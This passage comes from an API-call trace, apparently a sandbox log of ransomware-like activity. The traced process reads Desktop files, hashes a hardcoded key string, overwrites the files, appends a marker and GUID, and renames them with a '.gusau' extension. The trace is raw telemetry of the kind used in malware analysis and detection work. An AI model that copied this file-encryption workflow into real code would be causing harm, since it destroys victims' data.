hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.026] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x18bd0) returned 0x39f9f20 [0117.026] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.026] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.026] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x18bcf, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x18bcf, lpOverlapped=0x0) returned 1 [0117.027] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.027] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x18bd4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.027] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.027] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0117.027] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.027] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0117.027] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.027] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.027] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.027] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0117.027] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.027] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.027] CloseHandle (hObject=0x610) returned 1 [0117.028] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.028] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0117.029] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.029] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xZVVdLTP5CRjDGwK.mp3" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xzvvdltp5crjdgwk.mp3"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\xZVVdLTP5CRjDGwK.mp3.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\xzvvdltp5crjdgwk.mp3.gusau")) returned 1 [0117.029] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.029] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.030] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0117.030] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd87f2840, ftCreationTime.dwHighDateTime=0x1d4c7bf, ftLastAccessTime.dwLowDateTime=0x9e93fcb0, ftLastAccessTime.dwHighDateTime=0x1d4c804, ftLastWriteTime.dwLowDateTime=0x9e93fcb0, ftLastWriteTime.dwHighDateTime=0x1d4c804, nFileSizeHigh=0x0, nFileSizeLow=0x68ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pjDf89YoIOK7INngcQL.swf", cAlternateFileName="_PJDF8~1.SWF")) returned 1 [0117.030] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x50) returned 0x398f118 [0117.030] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf0c68 [0117.030] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f118 | out: hHeap=0xd10000) returned 1 [0117.030] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_pjDf89YoIOK7INngcQL.swf") returned=".swf" [0117.030] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_pjDf89YoIOK7INngcQL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_pjdf89yoiok7inngcql.swf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x610 [0117.031] GetFileSizeEx (in: hFile=0x610, lpFileSize=0x405fb4c | out: lpFileSize=0x405fb4c*=26798) returned 1 [0117.031] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0xf30000 [0117.033] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x6888, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.033] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x405fb7c, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb7c*=0x26, lpOverlapped=0x0) returned 1 [0117.034] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x30) returned 0x398eae0 [0117.034] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.034] SetFilePointer (in: hFile=0x610, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0117.034] ReadFile (in: hFile=0x610, lpBuffer=0xf30000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x405fb78, lpOverlapped=0x0 | out: lpBuffer=0xf30000*, lpNumberOfBytesRead=0x405fb78*=0x68ae, lpOverlapped=0x0) returned 1 [0117.035] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.035] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x25) returned 0x3985ac8 [0117.035] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.035] lstrlenA (lpString="E0AD6745B3894E89D6B1325E4DCF4B83") returned 32 [0117.035] CryptAcquireContextW (in: phProv=0x405fa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x405fa94*=0xdf09c0) returned 1 [0117.036] CryptCreateHash (in: hProv=0xdf09c0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x405fa9c | out: phHash=0x405fa9c) returned 1 [0117.036] CryptHashData (hHash=0x3983720, pbData=0x3985ac8, dwDataLen=0x25, dwFlags=0x0) returned 1 [0117.036] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x0, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x405fa98) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x11) returned 0x392a988 [0117.036] CryptGetHashParam (in: hHash=0x3983720, dwParam=0x2, pbData=0x392a988, pdwDataLen=0x405fa98, dwFlags=0x0 | out: pbData=0x392a988, pdwDataLen=0x405fa98) returned 1 [0117.036] GetLastError () returned 0x0 [0117.036] CryptDestroyHash (hHash=0x3983720) returned 1 [0117.036] CryptReleaseContext (hProv=0xdf09c0, dwFlags=0x0) returned 1 [0117.036] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x3985ac8 | out: hHeap=0xd10000) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x68b0) returned 0x39f9f20 [0117.036] SetFilePointer (in: hFile=0x610, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0117.036] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398eae0 | out: hHeap=0xd10000) returned 1 [0117.036] WriteFile (in: hFile=0x610, lpBuffer=0x39f9f20*, nNumberOfBytesToWrite=0x68a9, lpNumberOfBytesWritten=0x405fb24, lpOverlapped=0x0 | out: lpBuffer=0x39f9f20*, lpNumberOfBytesWritten=0x405fb24*=0x68a9, lpOverlapped=0x0) returned 1 [0117.036] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f9f20 | out: hHeap=0xd10000) returned 1 [0117.036] SetFilePointerEx (in: hFile=0x610, liDistanceToMove=0x68ae, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0117.036] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.037] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x428) returned 0x39f5210 [0117.037] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", cchWideChar=-1, lpMultiByteStr=0x39f5210, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="H3PV8fldTq47v21WR3xhffth4dEifHUp4i0OhE2L", lpUsedDefaultChar=0x0) returned 41 [0117.037] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x430) returned 0x39f5640 [0117.037] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.037] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb198 | out: hHeap=0xd10000) returned 1 [0117.037] WriteFile (in: hFile=0x610, lpBuffer=0x39f5640*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x39f5640*, lpNumberOfBytesWritten=0x405fb2c*=0x28, lpOverlapped=0x0) returned 1 [0117.037] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5640 | out: hHeap=0xd10000) returned 1 [0117.037] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0117.037] WriteFile (in: hFile=0x610, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x405fb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x405fb2c*=0x26, lpOverlapped=0x0) returned 1 [0117.037] CloseHandle (hObject=0x610) returned 1 [0117.038] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x80) returned 0xdf09c0 [0117.038] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x890) returned 0x39f5210 [0117.038] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf09c0 | out: hHeap=0xd10000) returned 1 [0117.038] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_pjDf89YoIOK7INngcQL.swf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_pjdf89yoiok7inngcql.swf"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\_pjDf89YoIOK7INngcQL.swf.gusau" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\_pjdf89yoiok7inngcql.swf.gusau")) returned 1 [0117.038] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.038] VirtualFree (lpAddress=0xf30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0117.039] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0xdf0c68 | out: hHeap=0xd10000) returned 1 [0117.039] FindNextFileW (in: hFindFile=0x39836e0, lpFindFileData=0x405fba4 | out: lpFindFileData=0x405fba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd87f2840, ftCreationTime.dwHighDateTime=0x1d4c7bf, ftLastAccessTime.dwLowDateTime=0x9e93fcb0, ftLastAccessTime.dwHighDateTime=0x1d4c804, ftLastWriteTime.dwLowDateTime=0x9e93fcb0, ftLastWriteTime.dwHighDateTime=0x1d4c804, nFileSizeHigh=0x0, nFileSizeLow=0x68ae, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_pjDf89YoIOK7INngcQL.swf", cAlternateFileName="_PJDF8~1.SWF")) returned 0 [0117.039] FindClose (in: hFindFile=0x39836e0 | out: hFindFile=0x39836e0) returned 1 [0117.039] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398ebf8 | out: hHeap=0xd10000) returned 1 [0117.039] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x398f430 | out: hHeap=0xd10000) returned 1 [0117.039] PeekMessageW (in: lpMsg=0x405ff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405ff08) returned 0 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb198 [0117.040] PeekMessageW (in: lpMsg=0x405fb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x405fb74) returned 0 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.040] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f5210 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.040] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.041] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.041] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x840) returned 0x39dc2a8 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.042] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.042] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x830) returned 0x39dc2a8 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc46) returned 0x39f5210 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0xc2e) returned 0x39f5210 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x860) returned 0x39f5210 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39f5210 | out: hHeap=0xd10000) returned 1 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.043] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.043] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x60) returned 0x38cb130 [0117.044] RtlAllocateHeap (HeapHandle=0xd10000, Flags=0x0, Size=0x820) returned 0x39dc2a8 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x39dc2a8 | out: hHeap=0xd10000) returned 1 [0117.044] HeapFree (in: hHeap=0xd10000, dwFlags=0x0, lpMem=0x38cb130 | out: hHeap=0xd10000) returned 1 [0117.044] RtlAllocateHeap 